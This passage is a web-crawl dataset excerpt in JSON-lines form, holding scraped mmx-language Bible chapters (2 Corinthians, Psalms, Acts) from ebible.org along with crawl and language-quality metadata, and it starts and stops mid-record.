1.000009298324585}","num_words":345,"character_repetition_ratio":0.07,"word_repetition_ratio":0.042,"special_characters_ratio":0.23,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\n1 * 2 Ko 8:1-7Ixok pakes tia xusu ana malagan tinimi mumu loklok tooro minaba lox aonon i uto ri limixin at ne Moroa di nemen to Judaia. 2 Akleklen i do nemi mi gagas amisik kusu ti lok tooro, kuren la a lox aru amisik nimi ri limixin Masadonia. Aga tong i ridi do nemi limixin to Grik mi gagas kusu ti lok tooro, ga ruka i at no lamaares ga xap. Mo lavavara atnemi ga lox axatu buaang levendoxoma xeneng atdi xusu nedi bok dina lok tooro. 3 Monga nia ana riki aonon na luvutneton dik, kusu lavapaase aru atnama mumu nimi xeneng at laramtaba atnimi noxo ravasu ngan lavanga gamasa mun. Ketla i ngan nia ara tong pam i do, minaba gagas li mo loklok tooro atnemi. 4 Panga tentaba me Masadonia na emu minia udom saparap nimi la dina long lenger i do nemi mixo gagas. Maba mangan aleng mumu nimi, la maba tong ka lavanga sala atla maga nunu abos do miba lox epovo i. La ni lavanga mamangan tinimi. 5 Kuren la a doma i do i epovo do ana sing na luvutneton dik kusu dinamgo ria udom atnimi xusu dina gagas li avot be nimi ri laramtaba nemi miga vaase ali min. Minaba gagas at loxonaleng do nia ana vot, la na laramtaba naba lox asuusu i do mi etaba mila miga vara i xuren, la kopmen do miga morong min.\nLavapaase Poovo Mumu Loklok Ti Raba\n6 * Ler 11:24; 22:9; Ro 12:8Mina doma i na, neni do itlotlo tevempanga lixilik mun naba ruuna tevempanga lixilik bok. La laradi do itlotlo taxanit panga solo, neni naba ruuna teveluxa solo. 7 Nedi getgesara dina raba kerekngan lodoxoma atdi la nemen gat loklox angtungun kopla tara na pu soso di. Mila ne Moroa i momo mi laradi i raba mi lomomo xeneng teren. 8 La ne Moroa xa i epovo na raba nimi mi leveloklox anarong axap naba umsu aleng, kusu at levenaleng axap minaba ruuna epovo amisik at levempanga axap. La ne Moroa xa naba lok levempanga atnimi mitlotlo i na pisik nunuan kusu minaba epovo rinotno do mina lok leven gugu nunuan. 9 Kerekngan Lovoang Kaala i tong i do,\n\"Neni im taba leventamtaba solo mi lebelemulus ti limixin banbalo. La amisik ik lox asuusu labalamu ren ti limixin.\" Sam 112:9\n10 * Ais 55:10; Ose 10:12Moroa im taba levenit panga ritlotlo mi levengkongkide ri anan. La kerepmo neni naba raba bok nimi mi levenit axap nemi mik pakes tin la na lox asuusu i xusu mina pisik asu leven gugu nunuan i buaang aleng. 11 * 2 Ko 1:11; 4:15Neni nabak lok nimi minap novos aleng at levempanga axap, kusu mina lok tooro amisik limixin petpes. La buaang bok atnedi limixin dinaba tong aorong ti ne Moroa ri laramtaba atnimi ridi, no minaba raba mu nama min.\n12 * 2 Ko 8:14Mo loklok tooro ap mo laramtaba atnimi naba ven ti lavakpakes at limixin at ne Moroa, la naba lox asuusu bok buaang lorotong avukat keneng at lorooro atdi ri ne Moroa. 13 Mo laramtaba atnimi naba lox asuusu i do nemi limixin tuturun. La limixin petpes dinaba emi asu mi ne Moroa mumu lorongtonga res mi lurutu lolos atnimi ri Lagale Lavavang at ne Karisito, la mumu bok mo lomomo atnimi ri lok tooro mi leventamtaba ridi la ti limixin petpes bok. 14 La dinaba sing lolos bok tinimi mi labalamu rinotno xeneng at lorooro atdi, mumu lugugu asuusu atnimi ri lagale letaba nabalamu at ne Moroa, mo neni ga raba nimi min. 15 Ata tong avukat tinotno ri ne Moroa ri mo laramtaba ren tidik i silok aleng tinotno.\n*9:10: Ais 55:10; Ose 10:12","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/2CO09.htm","date":"2022-01-26T22:58:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305006.68\/warc\/CC-MAIN-20220126222652-20220127012652-00185.warc.gz","language":"mmx","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000087022781372}","num_words":584,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"89\nLoxompixan Keneng At Levenaleng Mumuat\n1 O Leeme Silok, anabak pixan amisik mumu mo labalamu lexen taram. Anaba vavang amisik do nenu u ruturun tinema limixin taram at levenaleng axap i tu melamgo. 2 Aklen i do labalamu la loklok tatao ram tidi naba tu tuxuruxun amisik, la na nemen tino ngan laxalibet.\n3 Uga vaase xeretna, \"Nia agara lok pam lekabus mi mo laradi nia aga soxolik kaka i. Neni lasaxaruki rak ne Devit la a agara xaape vam tin, keretna, 4 'Lavaorong nabap tavasu amisik keneng at livipisik li ram la mo lugugu ti lavaorong nabak lok at livipisik li ram amisik la noxo xap basinge nedi.' \"\n5 Leeme Silok. Lempixan ip tavasu boro vana laxalibet mumu mo lempanga maraanu uk lox i. Luvuttadi melemelengan dik pixan do u ruturun amisik ti limixin taram. 6 Leeme Silok, kopmen teta roxun pana at laxalibet i lok ngan u. Kopmen teta at lempanga rooro no vana at laxalibet i epovo eburu minu. 7 Keneng at lixitkis buru at limixin kaala, dik marat aleng taram. La nedi axap ding sangu aleng taram.\n8 Leeme Silok ne Moroa nu Lanaraavuk, kopmen teta go, lolos teren i volo aleng ngan u. O Leeme Silok, nenu u ruturun at lempanga axap. 9 Um gomgonga mavana ap mo laras lolos, la uk lox amila lolos lempat popaxanao. 10 Uga rit amdamda mo lavatpanga sio ne Raap la uga sev amer i. Uga sak tup mi limixin munepen mi mo lolos silok taram. 11 Laxalibet neni ataram, la lavatbung menemen bok. Uga rudum lavatbung menemen la lempanga axap bok di nemen keneng teren. 12 Uga rudum li lunep borou la boroxun. Lakaana Tabor mi lakaana Eremon dik pixan mi lomomo ru. 13 U lolos pologat! Lolos taram i silok la i volo aleng!\n14 Lixitkis amgomgo ram it kis mavana at levelinga manmanton mi lodoxoma avukat. Labalamu eburu mi luruturun dip tavasu asaxaven keneng at lempanga nenu uk lox i. 15 Nedi di lotu saparav u mi levempixan la dik lok maxopok at lebelemulus taram, dinabak lok momo aleng! 16 La di momo amisik at levenaleng axap mumu mun u, la di vemi asu minu mumu luvukat taram. 17 Uk lok nema la mak sak tup mi limixin munepen minema. Uk lok nema xusu mana sak tup midi atla, mumu mun labalamu ram tinama. 18 O Leeme Silok, nenu xa uga soxolik ka lurutu see pe rinema. Nenu xa ne Moroa Melemelengan me Israel. Uga raba nema mi loorong ti lok see atnema.\nLaxakaape At\nNe Moroa Ri Ne Devit\nNe Moroa Ri Ne Devit\n19 Keneng at lara lisilimet gano, uga paase ri lavaeme vapaase ali ram ua diga ruturun amisik tu. Uga lok keretna, \"Nia ara raba vam loklok tooro ri mo laasesep doxodok. Ara raba vam lugugu at loorong tin, neni mo lara nia a soxolik kaka i ro xeneng at limixin. 20 Neni lasaxaruki rak ne Devit ara vaxaxis pam i ngan loorong at loxonaleng aga lox anarong i mi ladan momonok i xaala. 21 Lolos tarak nabak lox amisik eburu min, lolos tarak naba lox alolos i. 22 Lavamunepen min di noxo epovo ri vas asi i. Limixin kapmek di noxo epovo ri sak tup min. 23 Anaba sax amdamda nedi di esep tangarang min, la anaba sev amet nedi axap ua di belengatngas tin. 24 Anaba balamu i la ana lok tatao amisix i. Anaba lox i xusu limixin munepen min di noxo sak tup min. 25 Anaba lox epasum lixitkis orong teren, tuka i ro at laras Mediterenian la uto epopolo at ladan Iupretis. 26 La neni naba vaase ria xeretna, 'Nenu ne Tamak la ne Moroa rak. Nenu Lurutu See Pe rak la Laradi Loklox Asepsu rak.' 27 Anaba lox asilox i ngan lamdak avot tarak, la neni naba silok axap ti lavaorong axap at na lavatbung menemen. 28 Anaba lox epovo amisik laxakaape rak tin, la lekabus tarak eburu min naba nemen amisik la noxo xap. 29 La mo leesooxun ngan lubung amgomgo keneng at livipisik li ren, naba nemen amisik ngan laxalibet. Tavaorong nabap tavasu amisik boro at livipisik li ren.\n30 Ketla do livipisik li ren dina ronga xepe at Laulis Linga rak la di noxo rooro mu asu leventaangas tarak, 31 la do di noxo doxoma mu levempapaase axasep tarak, la dixo mu asu levempapaase ali rak, 32 anaba lox asongot di mumu laxakapmek atnedi. Anaba lok nedi dina baava mu mo laxapmek atdi. 33 Ketla labalamu rak ti ne Devit noxo xap kopla ana subu kot ap mo laxakaape rak tin. 34 Anoxo los polo lekabus tarak eburu min kopla ana ke xepe tara taxakaape go agara lox pam i eburu min. 35 Aga xaape gesara mene nga keneng at laasen kaala rak la noxo lox ekun bok ba i. La mo laxakaape naba nemen amisik. Anoxo xarang tinotno ne Devit. 36 Neni naban tuuna amisik taxampipisik li, la anaba reven aratao lixitkis orong teren at levenaleng axap laxangking mo ik lok. 37 Na loklok tatao rak naba nemen amisik ngan lagaaling, ua neni i soosoo axasep amisik to vana at lamavangkap.\"\nLanteng Ti Loorong Diga Sak Tup Min\n38 Ketla nenu ne Moroa, u belemamao mo loorong nenu uga soxolik ka i. Ugara raba rulu vam i la uga sok sisixe i. 39 Ugara los polo vam lekabus taram eburu mi ne Devit, lasaxaruki ram, la ura lox asi aleng i basinge lixitkis teren ngan loorong. 40 Ura ut tereve asi vam larangas uat ik lok kangkan lemenemen silok teren, la ura lok kapmek pam laraogu esep matmatkun teren. 41 La nedi limixin ua dit pas polo go, dim nem kaka lempanga ren. La nedi dik lok saparav i, ding longon sese i. 42 Ura lok tooro vam limixin munepen min kusu dina sak tup mi limixin taram. Ura lok pam limixin munepen la dira momo aleng. 43 U lok lempanga esep teren i lok ngan lempanga gamasa nga la limixin munepen minu dirak sak tup etaba nga midi keneng at levenesep. 44 Ura lok kepe vam laasen silok teren la ura lok pes pam i basinge lixitkis orong teren. 45 Ura lox asioxo vemput ta i la ura vung kimir i mi lainmangan.\nLisingising Ti Loklox Asu\n46 Leeme Silok, kereva, unak lox alipe rino nga basinge nema? Mo lebelemamao ram na babao ngan laxao la naba se ba ua? 47 Una doma mumu be na lorooro rak it mut tinotno. La unaklen box i do nenu uga rudum li nema mi lenbantuxu gamasa mun! 48 Nege ba naba rooro amisik la noxo met? Taradi naba lok ba xereva xusu ni noxo beles at lamaaut?\n49 Leeme Silok, ua nga no lempanga nenu uga lox asuusu i ri lox asaxaven mo labalamu ram? Ua nga no leveng kakaape nenu uga lox i ri ne Devit? 50 Uguta domampe i do ram, la aga vekip mi mo lempapaase vupu at lavamolon. 51 O Leeme Silok. Limixin munepen minu diga paase xapmek ti loorong soksoxolik taram. Di paase aksaksa rin ap mo axap lengkot neni it pas teren.\n52 Leemi asu amisik ti Leeme Silok la kopmen tekavaxap teren! Tuturun! Tuturun tinotno!","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/PSA089.htm","date":"2022-01-25T17:30:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304859.70\/warc\/CC-MAIN-20220125160159-20220125190159-00711.warc.gz","language":"mmx","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000008225440979}","num_words":1137,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nLisilimet At Ne Pol\n1 A vara na lox aru ia, keke i do kopmen na lok tooro tara. Ketla monga a vara i xusu ana vaase levesilimet la levempapaase asuusu bok boro at Leeme Silok. 2 Aklen lara laradi nunu at ne Karisito at lasangaun mi lavanuet maares gara xap pam, Loroonan Kaala ga lok ka i uto vana at laxalibet i sev avantun. Nia axoklen i do nai ga vot tuturun kopla ni ga ven mene lisilimet, Moroa xusuk mun iklen i. 3 La aklen i do na laradi Moroa ga lok ka i uto at lagale lemenemen teren. Ketla nia axoklen i do labantuxu ren ga urut kopla loroonan mun teren, Moroa xusuk iklen i. 4 La go ni ga ronga levelinga i xaala aleng la ixo epovo do tara na tong asu i. 5 * 2 Ko 11:30Aba lox aru mo laradi, a noxo lox aru ia. Ketla kusuk mun nia ba lox aru ia at levempanga i lox asuusu lomolo rak. 6 * 1 Ko 10:8; 11:16Dola a vara i xusu ana lox aru ia, nia noxo lok ngan laradi baulang, mila a paase mi luruturun. Ketla axo xip tutu min, atla ixo lox avukat do tara i doxoma mumu solo ia ri levempanga salai neni i ven i rak la i ronga ia min.\n7 * Jop 2:6Ketla mumu mo levempanga nunuan aga ven i, nia aga ruuna ka losongsongot de at labantuxu rak, la na losongsongot i lok ngan lasaxaruki at ne Satan kusu na sev asongot tinotno ia la ti rupe ia basinge loklox asilok. 8 I vantun levenaleng aga sing ne Moroa mumu i na lavanga, la aga sing i xusu na lok pes i. 9 * Pl 4:11-13Ketla ni ga vorang i ria xeretna, \"Letaba nabalamu rak tu i epovo xuren, mila lolos tarak naba gugu lolos aleng mo do a lox asuusu i ri limixin, at levenaleng di molobe.\" Kuren la anaba lok momo aleng tinotno ri mo leveloklok molo rak, kusu mo lolos at ne Karisito naba nemen keneng tarak. 10 Ti lox aru ne Karisito, a lok momo aleng kusu labantuxu rak na molobe la ana xip tutu mi levempapaase vupu la levenmumuat la levesongsongot la levenmumuat i lolos aleng. Mila anaba suma xaka lolos silok, keke i do labantuxu rak na molobe.\nPol Ga Paase Axalat Ti Leme Korin\n11 * 2 Ko 11:5A lok ngan tinotno laradi baulang mumu mo levelinga a tong pam i, ketla nemi xa miga pu soso ia rin. I epovo do nemi mina lox aru ia, mila nia xopmen ana lixilik tino ti nom luvuttadi vavang kaxarang mi lok do di silok aleng, keke i do nenia laradi lixilik mun. 12 * Ro 15:19Nia aga lolos kusu ana lok levempanga i lox asuusu i do nenia laradi vavang aga lox i xantubu atnimi. I ngan leveloklok katling at ne Moroa la levempanga sangsangu. 13 * 2 Ko 11:9Nia aga gugu xantubu atnimi xerekngan aga gugu xantubu at limixin at laraogu lotu vetpes. Ketla nia goxo lox angtang nemi do ri toloklok tooro ria. Mina doxoma xepe na laxapmek tarak.\n14 * 2 Ko 13:1A gagas tana xusu ana vot pasa nimi la ni lavatpas sepsev avantun tarak tinimi. La nia noxo lox angtang nimi mila nia axo vara levempilas atnimi, ketla a vara lorooro atnimi ri Leeme Silok. Laxamdak lixilik dixo lili bubua lapnovos ti luvuttemen di mi luvutnen di, ketla luvuttemen di mi luvutnen di, di lili lapnovos ti laxamdak atdi. 15 * Pl 2:17Kerepmo aba lok momo aleng do ana raba axap lorooro rak, mi levenaleng tarak, la lolos tarak kusu ti lok tooro nimi. Kereva, ixo epovo do mina balamu lixilix ia xerekngan nia a balamu aleng tinotno nimi?\n16 Nemi axap miba siam do nia goxo lok ngan laknixip tinimi axap. Ketla leventaba diba lok do nia a babala vukpuk nimi mi levelinga xaxarang. 17 Kereva, agut nia aga sing panga nimi at loxonaleng aga riki leventaba luvuttadi gugu rak udom? 18 * 2 Ko 8:6,16-18Aga sing ne Taitas do nat pas udom, la aga riki aonon bok lara laradi nunu eburu min. Kereva, Taitas ga babala vukpuk nimi? Kopmen tinotno. Kereva, neni la nenia, nema magap tuvuk at legeso doxoma la ma ruuna legesu ruptuvuk mene?\n19 Agut mi doxoma i do nema mo mak lok tong i do mana paase see atnama ro melamgo atnimi? Kopmen tinotno. Ma paase ngan limixin at ne Karisito to melamgo at lemeren ne Moroa. Larapen tangas orong tarak. Levempanga axap ma lox i xusu ti lok tooro nimi. 20 * 2 Ko 2:1-4A marat do at loxonaleng nia ana vot dom, aba long lenget nemi do mira lok petpes aleng pam ti lodoxoma nia a vara i do mibap tuvuk kuren. La nemi bok miba long lenger i do nenia bok aba lok petpes ti lodoxoma nemi miga vara i do nia aba lok kuren. A marat do aba ven lenget levenedak la levereven peves la levenmukmusak la levenekarakat la lavapaase nemnem la loklox asilok patlak la levempanga xopmen na sixit nunuan keneng at lotu.\n21 * 2 Ko 13:2A marat do mo nia ana vot manga, ne Moroa rak naba lox abulu ia dom melamgo atnimi. La aba lok mamangan aleng mu buaang atnedi digara lok pam laxakapmek gano, la kovisi di goxo leeng basinge laxakapmek atdi diga lox i, ngan loklok ti elongka la loklok kakapmek maxamang at lixitkis epot la lengkot mamangan kerepmo.\n*12:7: Jop 2:6","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/2CO12.htm","date":"2022-01-29T02:18:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320299894.32\/warc\/CC-MAIN-20220129002459-20220129032459-00209.warc.gz","language":"mmx","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000089406967163}","num_words":867,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.266,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"145\nLoxompixan Emi Asu\n1 Moroa, nenu Loorong Silok tarak. Anaba tong asuusu laasen silok taram. Anaba tong avukat amisik tu la anoxo xap tinotno ri tong avukat. 2 Anaba tong avukat tu at levenaleng axap. Anaba emi asu amisik minu la anoxo xap ti emi asu minu.\n3 Leeme Silok neni i nunuan aleng pologat, la i epovo rinotno do limixin dina emi asu min. Atla ixo epovo xusu anaba re sa at lununuan teren ua i volo lakleklen tarak.\n4 Limixin dinaba emi asu minu ri levempanga ugara lok pam i, tuka i at lara loola vetpes la ti lara loola melemu. Dinaba tong asuusu levempanga lolos ugarak lok pam i. 5 Dinaba paase asu lixitkis orong taram i silok aleng tinotno la i volo lempanga axap. La nia anabam doma mumu leven gugu maraanu nenu ugak lox i. 6 Limixin dinaba paase mumu leven gugu lolos nenu ugak lox i, la nia anaba paase asu laasen silok taram. 7 Dinaba tere mo luvukat silok taram la dinak pixan mumu labalamu ram. 8 Leeme Silok i ruuna labalamu mi lebelen tuntun, la kopmen nak belemamao soso ketla i umsu mi labalamu lexen. 9 Neni i vukat ti limixin axap la i ruuna labalamu tinedi limixin axap ni ga rudum di.\n10 Leeme Silok, lempanga rooro axap nenu uga rudum li di, dinaba emi asu minu, la limixin axap taram dinaba tong avukat tu. 11 Dinaba paase mumu lisisixam la lolos at lixitkis orong taram, la dina tong axasep limixin mi lolos taram, 12 kusu limixin axap dinabak leklen leven gugu lolos taram la lisisixam maraanu at lixitkis orong taram. 13 Lixitkis orong taram naba nemen lexen, la nenu Loorong Avolo, kopmen tekavaxap taram.\nLeeme Silok ik lox asoorun amisik leveng kakaape ren. La ik lox asuusu labalamu ren keneng at leven gugu axap teren. 14 Ik lok tooro nedi di vekip tangarang mi levenmumuat, la im tebeng aonon nedi ua diga subu.\n15 Leeme Silok, levempanga rooro axap di reven tu mi leven doxoma voovo atdi, la um taba nedi mi leveluxa ua dik pakes tin. 16 Um taba epovo rinotno nedi, la uk lox epovo rinotno levem pakpakes atnedi axap.\n17 Loklok at Leeme Silok in manton tinotno keneng at levempanga axap neni ik lox i, leven gugu ren ik lox i, ik lox i eburu mi lebelen tuntun teren. 18 Neni ik lok saparap nedi mo di ngising tin, nedi mo di ngising tin mi luruturun. 19 Neni im taba epovo ri levem pakpakes atnedi ua dim taba asinorong i. Ing tonga leven anteng atnedi la irak lox asepsu nedi. 20 Neni ik lok see atnedi ua di vavara aleng tin, ketla neni naba sev amet nedi limixin dixo mumu asu i.\n21 Anaba emi asu amisik mi Leeme Silok. La mo lempanga axap ua neni ga rudum i, dina emi asu amisik mi laasen kaala ren la kopmen tekavaxap at leemi asu rin.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/PSA145.htm","date":"2022-01-25T17:11:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304859.70\/warc\/CC-MAIN-20220125160159-20220125190159-00344.warc.gz","language":"mmx","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000094175338745}","num_words":466,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nTimoti Ga Emu Eburu Mi Ne Pol La Ne Sailas\n1 * Gu 14:6; 2 Ti 1:5Pol ga vas kaxat basinge mo lunep silok, la gat pas uto Debi la Listra. Lara laradi nunu laasen teren ne Timoti ga nemen go Listra. Nenen bok, ni latkin nunu at lubung mixin me Judaia, ketla ne temen neni at lubung mixin me Grik. 2 * Pl 2:19-22Luvuttadi nunu ro Listra la Aikoniam diga tong i do ne Timoti neni lagale laradi. 3 * Ga 2:3-5Pol ga vara i do ni na lok ka ne Timoti min, kuren la ni ga vit kepe loxontuxu ren. Ni ga lox i na mila lentaba limixin me Judaia digak lok ap mo lemenemen, digaklen i do ne temen ne Timoti at limixin kopmen di me Judaia. 4 * Gu 15:23-29Pol, la ne Sailas eburu mi ne Timoti digat pas kantubu ap mo laramenemen la diga tong asu mo leventaangas, luvuttadi vavang la loxongkulao silok diga tong li vam i ro Jerusalem. La ne Pol midi diga tong i ri limixin nunu do dina mumu asu i. 5 * Gu 2:47Kuren la limixin nunu ap mo lengkot ga suu lolos at lununu atdi la leexes atnedi limixin nunu ga uturut amisik keneng at levenaleng getgesara.\nPol Ga Ven Lisilimet To Troas\n6 * Gu 18:23Pol mi larapen tangas teren digat pas epolo maxeneng at lunep silok Pirigia la Galesia, mila Loroonan Kaala goxo siam do dina vaase asu Lagale Lavavang ap mo lenep Asia. 7 * 2 Ti 1:15Diga rupot to at lapdopdo at lenep Misia, la diga lok tong pen i do dina beles at lenep mo go Bitinia, ketla Loroonan at ne Iesu goxo siam do dina beles. 8 Kuren la digat pas kantubu at lengkot Misia la diga rupot to Troas. 9 Ap mo laxanimin Pol ga ven lisilimet la ni ga ven laradi boro Masadonia ga tu, la ga sing i, \"Unat pas ude Masadonia la una lok tooro nama!\" 10 Melemu at ne Pol ga ven na lisilimet, soso mun nema maga gagas kusu manat pas uto Masadonia, mila magaklen i do Moroa ga ro ka vam nama kusu mana vaase asu Lagale Lavavang ti limixin me go.\nLidia Ga Ven Kibis Leeme Silok To Pilipai\n11 Maga los kas at lavatmon la maga on basinge mo lemenemen Troas, la maga sen akmokso epolo uto Samoteres. La ap mo lara laaleng petpes melemu maga sen uto Neopolis. 12 Maga vas kaxat me go uto Pilipai, lemenemen silok avot at lenep silok Masadonia. Ni lemenemen buaang limixin boro Rom diga nemen go. Maga nemen ap mo lemenemen silok at lentaba levenaleng.\n13 At laaleng kaala maga vas kaxat basinge lemenemen silok uto at lisigege at ladan. Maga nua i do toxot mo go at limixin me Judaia digat pot buru e la diga ngising. Maga xis kopok la maga paase ri lavakin mo diga rupot eburu go. 14 Lara atdi mo gang tonga nama, laasen teren ne Lidia, neni boro Taiataira. Neni ga sesep mi lempanga singsiga nunuan. Ni latkin ga lotu saparap ne Moroa, la Leeme Silok ga suang lebelen kusu ni na siam kaka mo lavapaase at ne Pol. 15 * Gu 16:33; 18:8Neni eburu minedi diga nemen min ap mo loogu ren diga lok ka lesep susu. Melemu ni ga xup kaka nama, \"Ude nimi la mina nemen to at loogu rak, mo do nemi mi doxoma i do nenia latkin nunu ruturun at Leeme Silok.\" La ni ga sing lolos tinama la maga beles.\nPol Mi Ne Sailas At\nLoogu Xokoxo To Pilipai\nLoogu Xokoxo To Pilipai\n16 * Gu 19:24At lara laaleng magat pas uto at loxot singising, maga ekip tangarang mi lara loolik, ni lasaxaruki la lagas ga nemen teren la ga lox epovo i do na paase ali umelamgo. La kerepmo ni ga lox asuusu laxampilas solo ri lamgomgo ren, mila ni ga tong levempanga salai naba rupot at levenaleng mo i tu migo ridi.\n17 * Mk 1:24,34Ni ga mumu asu nema mi ne Pol, la gap kup keretna, \"Na luvuttadi nedi luvuttadi gugu at Leeme Avolo ne Moroa! Di tong asu langas at lorooro rinimi!\" 18 * Mk 16:17La buaang levenaleng, ni ga lox i na. Se ne Pol gara molo nga, la ni ga rem gili la ga lok ti mo lagas, \"At laasen at ne Iesu Karisito, a tong i ru do una vas su basinge i!\" Ap mo mene loxonaleng lagas ga on basinge i.\n19 Mo limixin digak lok tatao mo loolik diga ven i do langas atnedi rik lok ka pilas ga xap ta. Kuren la diga ranga alis ne Pol mi ne Sailas la diga sat kaka du uto at luvuttadi amgomgo at loxot tongtonga linga. 20 * Mk 13:9; Gu 17:6; Mt 5:11Nedu duga ru ro melamgo at luvuttadi silok boro Rom. La nom limixin digak lok tatao mo loolik diga lok, \"Na luradi nedu boro Judaia, la nedu du lok kaxat lekarakat de at lemenemen silok atdik. 21 Nedu duk lox ase limixin mi leveloklok no xopmen na epovo at loklok atdik. Nedik at lubung mixin me Rom la ixo epovo do tana siam ka i la tana lok tong pen i.\"\n22 * 2 Ko 11:25; Pl 1:30; 1 Ts 2:2Buaang limixin diga beles ap mo leedak silok la diga ru buru mi limixin amgomgo diga lok kepe lempanga singsiga at ne Pol mi ne Sailas, la diga tong i ri limixin esep do dinabak pixis du mi lubuso. 23 Digak pixis aleng nedu mi lubuso la diga lok ka du uto at loogu xokoxo, la diga tong i ri mo laradi loklok tatao loogu xokoxo, kusu na lok pe avarang du la kopmen du noxo sixiro. 24 Laradi loklok tatao at loogu xokoxo ga ronga na levelinga, la ni ga xoxo palaga lengkangkedek atdu kantubu at lempatkonuna mumuat.\n25 At laxanimin tubu Pol mi ne Sailas duga lok lising la dugak pixan momo saparap ne Moroa, la lentaba luvuttadi bok mo at loogu xokoxo, digang tonga du. 26 La soso mun langsangan langne silok ga vot la gak ma mo loogu xokoxo axap. Ap mo mene loxonaleng lumusmaragu ga rem suang la lemparoos sen ga remus basinge nedi axap go xeneng at loogu xokoxo. 27 * Gu 12:18-19Laradi loklok tatao at loogu xokoxo ga rakdu tuang la ni ga ven i do laramusmaragu ap mo loogu xokoxo ga rem suang axap pam, la ni ga nua i do limixin kokoxo digara sixiro vam. Kuren la ni ga rev asu ka lavarise sepsep teren la ni ga lok do na bo bang amer i min. 28 Ketla ne Pol ga xup silok keretna, \"Nemen uta sev u! Nema axap na ma nemen.\" 29 Laradi loklok tatao at loogu xokoxo ga xup ti tababao, ni ga sixit beles ukeneng, la ni ga xis tiktikbu mi luvatgulom teren la ga dede saparap lengkangkedek at ne Pol mi ne Sailas.\n30 * Gu 2:37Ni ga lam asu du ukamang la ga lok, \"Luave, ana lok lavanga salai xusu anaba ruuna ka lorooro maxat?\"\n31 Duga lok, \"Una nunu at Leeme Silok ne Iesu, la nenu naba ruuna ka lorooro maxat, la nedi axap nom di nemen at loogu ram dinaba ruuna ka lorooro maxat.\" 32 La duga tong Lagale Lavavang at Leeme Silok tin la tinedi bok mo diga nemen ap mo loogu ren. 33 * Gu 16:15Ap mo mene laaleng at laxanimin laradi loklok tatao at loogu xokoxo ga sat kaka du la ga gos levenin kooxing atdu. La neni eburu minedi diga nemen at loogu ren diga lok ka lesep susu ap mo mene loxonaleng. 34 Ni ga lok ka ne Pol mi ne Sailas uto at loogu ren la ga raba nedu mi leveluxa ri anan. Nedi axap diga nemen at loogu ren diga umsu mi lomomo, mila diga nunu ba at ne Moroa.\n35 Ga maxantamak luvuttadi amgomgo diga sak tiki lavasaxaruki mi levelinga xeretna, \"Mina soxomus asu du nom luradi uto.\" 36 Kuren la laradi loklok tatao at loogu xokoxo ga tong i ri ne Pol, \"Luvuttadi amgomgo di lox aonon levelinga rinumu mi ne Sailas kusu mana soxomus asu numu. Muna onon ta, la munat pas keneng at lenmila.\"\n37 * Gu 22:25Ketla Pol ga lok ti mo lavasaxaruki xeretna, \"Di goxo vuse ka taxakapmek maxeneng atnama. Diga vixis nema at lemeren limixin, la kopmen nak mokso, mila nema na lunat boro Rom. Melemu diga lok li nama at loogu xokoxo. La at na di lok do dina lox aonon nemnem nama. Kopmen tinotno! I epovo do luvuttadi amgomgo axa dinabat pas ude la dina soxomus asu nama.\"\n38 Diga tong i na levelinga ri luvuttadi amgomgo. La diga ronga i do ne Pol mi ne Sailas nedu lunat boro Rom la kopmen luradi gamasa, la diga marat aleng. 39 * Mt 8:34Kuren la digat pas la diga vaase loklok bukbulu ridu. La diga lam asu du basinge loogu xokoxo la diga sing du do duna vas kaxat basinge mo lemenemen. 40 Pol mi ne Sailas duga on basinge loogu xokoxo, la dugat pas uto at loogu at ne Lidia. Mo go duga ekip tangarang mi limixin nunu, la duga lox alolos di mi levelinga la duga onon ta.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/ACT16.htm","date":"2022-01-25T11:06:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304810.95\/warc\/CC-MAIN-20220125100035-20220125130035-00313.warc.gz","language":"mmx","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"mmx_Latn_score\": 1.0000075101852417}","num_words":1469,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"78\nMoroa Eburu Mi Limixin Teren\n1 Limixin tarak, minang tonga ka i na levenanasa rak, la minam doma mumu lempanga nia ana paase i. 2 Nia anaba tong asu levempapaase poovo ridi la ana re musumus levempanga megano ua gak lox alipe. 3 Mo levelinga ua tagara ronga vam i la tagaklen ka i, mo 